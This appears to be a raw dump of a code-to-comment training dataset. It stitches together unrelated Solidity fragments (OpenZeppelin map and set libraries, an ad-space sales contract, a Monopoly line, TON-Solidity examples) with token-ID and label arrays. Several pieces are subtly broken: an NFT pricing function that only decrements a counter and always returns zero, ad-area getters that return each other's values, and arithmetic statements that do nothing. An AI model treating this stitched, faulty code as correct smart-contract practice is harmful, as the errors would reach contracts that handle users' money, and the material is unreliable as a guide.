// Position of the entry defined by a key in the `entries` array, plus 1
// because index 0 means a key is not in the map.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex == 0) { // Equivalent to !contains(map, key)
map._entries.push(MapEntry({ _key: key, _value: value }));
// The entry is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
map._indexes[key] = map._entries.length;
return true;
} else {
map._entries[keyIndex - 1]._value = value;
return false;
}
}
/**
* @dev Removes a key-value pair from a map. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function _remove(Map storage map, bytes32 key) private returns (bool) {
// We read and store the key's index to prevent multiple reads from the same storage slot
uint256 keyIndex = map._indexes[key];
if (keyIndex != 0) { // Equivalent to contains(map, key)
// To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one
// in the array, and then remove the last entry (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = keyIndex - 1;
uint256 lastIndex = map._entries.length - 1;
// When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
MapEntry storage lastEntry = map._entries[lastIndex];
// Move the last entry to the index where the entry to delete is
map._entries[toDeleteIndex] = lastEntry;
// Update the index for the moved entry
map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved entry was stored
map._entries.pop();
// Delete the index for the deleted slot
delete map._indexes[key];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function _contains(Map storage map, bytes32 key) private view returns (bool) {
return map._indexes[key] != 0;
}
/**
* @dev Returns the number of key-value pairs in the map. O(1).
*/
function _length(Map storage map) private view returns (uint256) {
return map._entries.length;
}
/**
* @dev Returns the key-value pair stored at position `index` in the map. O(1).
*
* Note that there are no guarantees on the ordering of entries inside the
* array, and it may change when more entries are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) {
require(map._entries.length > index, "EnumerableMap: index out of bounds");
MapEntry storage entry = map._entries[index];
return (entry._key, entry._value);
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function _get(Map storage map, bytes32 key) private view returns (bytes32) {
return _get(map, key, "EnumerableMap: nonexistent key");
}
/**
* @dev Same as {_get}, with a custom error message when `key` is not in the map.
*/
function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) {
uint256 keyIndex = map._indexes[key];
require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key)
return map._entries[keyIndex - 1]._value; // All indexes are 1-based
}
// UintToAddressMap
struct UintToAddressMap {
Map _inner;
}
/**
* @dev Adds a key-value pair to a map, or updates the value for an existing
* key. O(1).
*
* Returns true if the key was added to the map, that is if it was not
* already present.
*/
function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) {
return _set(map._inner, bytes32(key), bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the key was removed from the map, that is if it was present.
*/
function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) {
return _remove(map._inner, bytes32(key));
}
/**
* @dev Returns true if the key is in the map. O(1).
*/
function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) {
return _contains(map._inner, bytes32(key));
}
/**
* @dev Returns the number of elements in the map. O(1).
*/
function length(UintToAddressMap storage map) internal view returns (uint256) {
return _length(map._inner);
}
/**
* @dev Returns the element stored at position `index` in the set. O(1).
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) {
(bytes32 key, bytes32 value) = _at(map._inner, index);
return (uint256(key), address(uint256(value)));
}
/**
* @dev Returns the value associated with `key`. O(1).
*
* Requirements:
*
* - `key` must be in the map.
*/
function get(UintToAddressMap storage map, uint256 key) internal view returns (address) {
return address(uint256(_get(map._inner, bytes32(key))));
}
/**
* @dev Same as {get}, with a custom error message when `key` is not in the map.
*/
function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) {
return address(uint256(_get(map._inner, bytes32(key), errorMessage)));
}
}
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256`
* (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping (bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) { // Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
// When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs
// so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement.
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
require(set._values.length > index, "EnumerableSet: index out of bounds");
return set._values[index];
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(value)));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(value)));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint256(_at(set._inner, index)));
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
} | * @dev Gets PRIME Prices/ | function getNFTPrice(uint numTokens) public view returns (uint256) {
require(totalSupply() < MAX_NFT_SUPPLY, "Sale has already ended");
uint currentSupply = totalSupply()+numTokens;
uint totalPrice = 0;
for(uint i=1;i<= numTokens;i++){
if (currentSupply >= 1000) {
currentSupply--;
currentSupply--;
currentSupply--;
currentSupply--;
currentSupply--;
currentSupply--;
currentSupply--;
currentSupply--;
currentSupply--;
currentSupply--;
currentSupply--;
currentSupply--;
currentSupply--;
currentSupply--;
currentSupply--;
currentSupply--;
currentSupply--;
currentSupply--;
}
}
return totalPrice;
}
| 2,016,486 | [
1,
3002,
10365,
958,
2301,
1242,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
445,
11069,
4464,
5147,
12,
11890,
818,
5157,
13,
1071,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2583,
12,
4963,
3088,
1283,
1435,
411,
4552,
67,
50,
4464,
67,
13272,
23893,
16,
315,
30746,
711,
1818,
16926,
8863,
203,
203,
3639,
2254,
783,
3088,
1283,
273,
2078,
3088,
1283,
1435,
15,
2107,
5157,
31,
203,
3639,
2254,
2078,
5147,
273,
374,
31,
203,
203,
3639,
364,
12,
11890,
277,
33,
21,
31,
77,
32,
33,
818,
5157,
31,
77,
27245,
95,
203,
203,
5411,
309,
261,
2972,
3088,
1283,
1545,
4336,
13,
288,
203,
7734,
783,
3088,
1283,
413,
31,
203,
7734,
783,
3088,
1283,
413,
31,
203,
7734,
783,
3088,
1283,
413,
31,
203,
7734,
783,
3088,
1283,
413,
31,
203,
7734,
783,
3088,
1283,
413,
31,
203,
7734,
783,
3088,
1283,
413,
31,
203,
7734,
783,
3088,
1283,
413,
31,
203,
7734,
783,
3088,
1283,
413,
31,
203,
7734,
783,
3088,
1283,
413,
31,
203,
7734,
783,
3088,
1283,
413,
31,
203,
7734,
783,
3088,
1283,
413,
31,
203,
7734,
783,
3088,
1283,
413,
31,
203,
7734,
783,
3088,
1283,
413,
31,
203,
7734,
783,
3088,
1283,
413,
31,
203,
7734,
783,
3088,
1283,
413,
31,
203,
7734,
783,
3088,
1283,
413,
31,
203,
7734,
783,
3088,
1283,
413,
31,
203,
7734,
783,
3088,
1283,
413,
31,
203,
5411,
289,
203,
203,
3639,
289,
203,
203,
3639,
327,
2078,
5147,
31,
203,
203,
565,
289,
203,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./Pausable.sol";
/// @title Advertisement Manager Contract
/// @author Mariona (seaona)
/// @notice Do not use this contract on production
contract AdsManager is Pausable {
/// @dev Using SafeMath to protect from overflow and underflow
using SafeMath for uint256;
/********************************************************************************************/
/* DATA VARIABLES */
/********************************************************************************************/
/// @dev Advertisement variables
mapping (uint => Ad) ads;
uint256 public adsCounter;
/// @dev Total Advertisement Area available is an abstract representation of the surface of the website available for Ads
uint256 public totalAdAreaAvailable = 100;
/// @dev Total Advertisement Taken is an abstract representation of the surface of the website dedicated to certains ad
uint256 public totalAdAreaTaken = 0;
/// @dev Total max area for advertisement cannot be updated as website space for advertisements is limited
uint256 constant public totalAdMaxArea = 500;
/// @dev Ads can be ForSale or Sold
enum State { ForSale, Sold }
/// @dev Big = 50 units of area, Medium = 25 units of area, Small = 10 units of area
enum Size { Big, Medium, Small }
/// @dev This is an Advertisement item
struct Ad {
State state;
Size size;
bytes32 brand;
address payable owner;
uint256 price;
}
/********************************************************************************************/
/* EVENT DEFINITIONS */
/********************************************************************************************/
/// @dev Event that is emitted when Advertisement Area is put for sale
event AdAreaForSale(uint32 _adId);
/// @dev Event that is emitted when Advertisement Area is bought
event AdAreaBought(uint32 _adId);
/// @dev Event that is emitted when the owner of the website adds extra a Small Advertisement Area for sale
event SmallAdAreaAdded(Size _size);
/// @dev Event that is emitted when the owner of the website adds extra a Medium Advertisement Area for sale
event MediumAdAreaAdded(Size _size);
/// @dev Event that is emitted when the owner of the website adds extra a Big Advertisement Area for sale
event BigAdAreaAdded(Size _size);
/********************************************************************************************/
/* FUNCTION MODIFIERS */
/********************************************************************************************/
/// @dev Modifier that throws if called by any account other than the Advertisement Owner
modifier onlyAdOwner(uint32 _adId) {
require(msg.sender == ads[_adId].owner, "You are not the owner of this Ad Area");
_;
}
/// @dev Modifier that throws if not paid enough for the Ad
modifier paidEnough(uint _adId) {
require(msg.value >= ads[_adId].price, "You haven't paid enough for buying this Ad space");
_;
}
/// @dev Modifier that throws if there is not enough Advertisement area available
modifier enoughAdArea(uint _area) {
require(_area <= totalAdMaxArea, "There is not enough Advertisement area available");
_;
}
/********************************************************************************************/
/* UTIL FUNCTIONS */
/********************************************************************************************/
/// @dev Get the total number of Ads Areas
/// @return Total Ads Areas
function getAdsCounter() public view returns (uint256) {
return adsCounter;
}
/// @dev Get the total Advertisement area for that website
/// @return Total Advertisement Area
function getTotalAdMaxArea() public view returns(uint256) {
return totalAdMaxArea;
}
/// @dev Get the total Advertisement area taken for that website
/// @return Total Advertisement Area taken by Brands
function getTotalAdAreaTaken() public view returns(uint256) {
return totalAdAreaAvailable;
}
/// @dev Get the total Advertisement area available for ads that website
/// @return Total Advertisement Area available for Brands
function getTotalAdAreaAvailable() public view returns(uint256) {
return totalAdAreaTaken;
}
/// @dev Get Ad Owner
/// @return Address of Ad Owner
function getAdOwner(uint32 _id) public view returns(address) {
return ads[_id].owner;
}
/// @dev Get Ad status
/// @return enum status: ForSale or Sold
function getAdStatus(uint32 _id) public view returns(State) {
return ads[_id].state;
}
/// @dev Get Ad size
/// @return enum size: Big, Medium, Small
function getAdSize(uint32 _id) public view returns(Size) {
return ads[_id].size;
}
/********************************************************************************************/
/* SMART CONTRACT FUNCTIONS */
/********************************************************************************************/
/// @dev Website Owner Adds a Small Advertisement Area
/// @return Total Advertisement Area available for Brands
function addSmallAdvertisementSpace() public onlyOwner whenNotPaused returns (uint256) {
require(totalAdAreaAvailable+totalAdAreaTaken+10 <= totalAdMaxArea, "Ads Area is already completed");
ads[adsCounter].state = State.ForSale;
ads[adsCounter].size = Size.Small;
ads[adsCounter].brand = "For Sale";
ads[adsCounter].owner = payable(msg.sender);
ads[adsCounter].price = 100;
adsCounter++;
totalAdAreaTaken + 10;
totalAdAreaAvailable = totalAdAreaAvailable + 10;
emit SmallAdAreaAdded(Size.Small);
return totalAdAreaAvailable;
}
/// @dev Website Owner Adds a Medium Advertisement Area
/// @return Total Advertisement Area available for Brands
function addMediumAdvertisementSpace() public onlyOwner whenNotPaused returns (uint256) {
require(totalAdAreaAvailable+totalAdAreaTaken+25 <= totalAdMaxArea, "Ads Area is already completed");
ads[adsCounter].state = State.ForSale;
ads[adsCounter].size = Size.Medium;
ads[adsCounter].brand = "For Sale";
ads[adsCounter].owner = payable(msg.sender);
ads[adsCounter].price = 250;
adsCounter++;
totalAdAreaTaken + 25;
totalAdAreaAvailable = totalAdAreaAvailable + 25;
emit MediumAdAreaAdded(Size.Medium);
return totalAdAreaAvailable;
}
/// @dev Website Owner Adds a Big Advertisement Area
/// @return Total Advertisement Area available for Brands
function addBigAdvertisementSpace() public onlyOwner whenNotPaused returns (uint256) {
require(totalAdAreaAvailable+totalAdAreaTaken+50 <= totalAdMaxArea, "Ads Area is already completed");
ads[adsCounter].state = State.ForSale;
ads[adsCounter].size = Size.Big;
ads[adsCounter].brand = "For Sale";
ads[adsCounter].owner = payable(msg.sender);
ads[adsCounter].price = 500;
adsCounter++;
totalAdAreaTaken +50;
totalAdAreaAvailable = totalAdAreaAvailable + 50;
emit BigAdAreaAdded(Size.Big);
return totalAdAreaAvailable;
}
/// @dev Revoke Ad from Brand
function revokeAdFromBrand(uint32 _adId) public onlyOwner whenNotPaused returns (bool) {
require(ads[_adId].state == State.Sold, "This Advertisement space is already available");
uint256 adSize;
if(ads[_adId].size==Size.Big) {
adSize = 50;
}
if(ads[_adId].size==Size.Medium) {
adSize = 25;
}
if(ads[_adId].size==Size.Small) {
adSize = 10;
}
ads[_adId].state = State.ForSale;
ads[_adId].owner = payable(msg.sender);
ads[_adId].brand = "For Sale";
totalAdAreaAvailable = totalAdAreaAvailable + adSize;
return true;
}
/// @dev Brand buys Advertisement Area
function buyAdArea(uint32 _adId) public payable paidEnough(_adId) whenNotPaused {
require(ads[_adId].state == State.ForSale, "Ad Area is not for Sale");
uint256 amountToRefund = msg.value - ads[_adId].price;
ads[_adId].owner = payable(msg.sender);
ads[_adId].owner.transfer(amountToRefund);
ads[_adId].state = State.Sold;
emit AdAreaBought(_adId);
}
/// @dev Give back Ad ownership to website owner
function handOverOwnership(uint32 _adId) public whenNotPaused returns (bool) {
require(ads[_adId].owner == msg.sender, "You are not the owner of this Ad");
ads[_adId].state = State.ForSale;
ads[_adId].owner = payable(0x0297196d753045df822C67d23F9aB10c7128b102);
return true;
}
}
| *******************************************************************************************/ FUNCTION MODIFIERS */*******************************************************************************************/ @dev Modifier that throws if called by any account other than the Advertisement Owner | modifier onlyAdOwner(uint32 _adId) {
require(msg.sender == ads[_adId].owner, "You are not the owner of this Ad Area");
_;
}
| 12,591,311 | [
1,
19,
4766,
4202,
13690,
8663,
10591,
55,
4766,
368,
225,
12832,
716,
1216,
309,
2566,
635,
1281,
2236,
1308,
2353,
326,
4052,
1097,
291,
820,
16837,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
565,
9606,
1338,
1871,
5541,
12,
11890,
1578,
389,
361,
548,
13,
288,
203,
3639,
2583,
12,
3576,
18,
15330,
422,
12767,
63,
67,
361,
548,
8009,
8443,
16,
315,
6225,
854,
486,
326,
3410,
434,
333,
4052,
16668,
8863,
203,
3639,
389,
31,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/3/0x000c556C21D8963c33a035bc0a8CC5aefAbD85bF/sources/contracts/Monopoly.sol | Зацикливаем монополию
| onQuad[msg.sender] = onQuad[msg.sender] - quads.length; | 8,146,509 | [
1,
145,
250,
145,
113,
146,
233,
145,
121,
145,
123,
145,
124,
145,
121,
145,
115,
145,
113,
145,
118,
145,
125,
225,
145,
125,
145,
127,
145,
126,
145,
127,
145,
128,
145,
127,
145,
124,
145,
121,
146,
241,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
4766,
565,
603,
24483,
63,
3576,
18,
15330,
65,
273,
603,
24483,
63,
3576,
18,
15330,
65,
300,
9474,
87,
18,
2469,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
/**
EXAMPLE: pragma
*/
pragma ton-solidity >=0.35.5; // Check compiler version is at least 0.35.5
pragma ton-solidity ^ 0.35.5; // Check compiler version is at least 0.35.5 and less 0.36.0
pragma ton-solidity < 0.35.5; // Check compiler version is less 0.35.5
pragma ton-solidity >= 0.35.5 < 0.35.7; // Check compiler version equal to 0.35.5 or 0.35.6
pragma ignoreIntOverflow;
pragma AbiHeader time;
pragma AbiHeader pubkey;
pragma AbiHeader expire;
pragma msgValue 123456789;
pragma msgValue 1e8;
pragma msgValue 10 ton;
pragma msgValue 10_000_000_123;
/**
EXAMPLE: TON units
*/
require(1 nano == 1);
require(1 nanoton == 1);
require(1 nTon == 1);
require(1 ton == 1e9 nanoton);
require(1 Ton == 1e9 nanoton);
require(1 micro == 1e-6 ton);
require(1 microton == 1e-6 ton);
require(1 milli == 1e-3 ton);
require(1 milliton == 1e-3 ton);
require(1 kiloton == 1e3 ton);
require(1 kTon == 1e3 ton);
require(1 megaton == 1e6 ton);
require(1 MTon == 1e6 ton);
require(1 gigaton == 1e9 ton);
require(1 GTon == 1e9 ton);
/**
EXAMPLE: int uint
*/
int i = 0;
uint u = 0;
int8 a = 1;
uint9 b = 123; //error type;
int255 c = 123; //error type;
uint256 d = 0xd;
/**
EXAMPLE: ExtraCurrencyCollection
*/
ExtraCurrencyCollection curCol;
uint32 key;
uint256 value;
optional(uint32, uint256) res = curCol.min();
optional(uint32, uint256) res = curCol.next(key);
optional(uint32, uint256) res = curCol.prev(key);
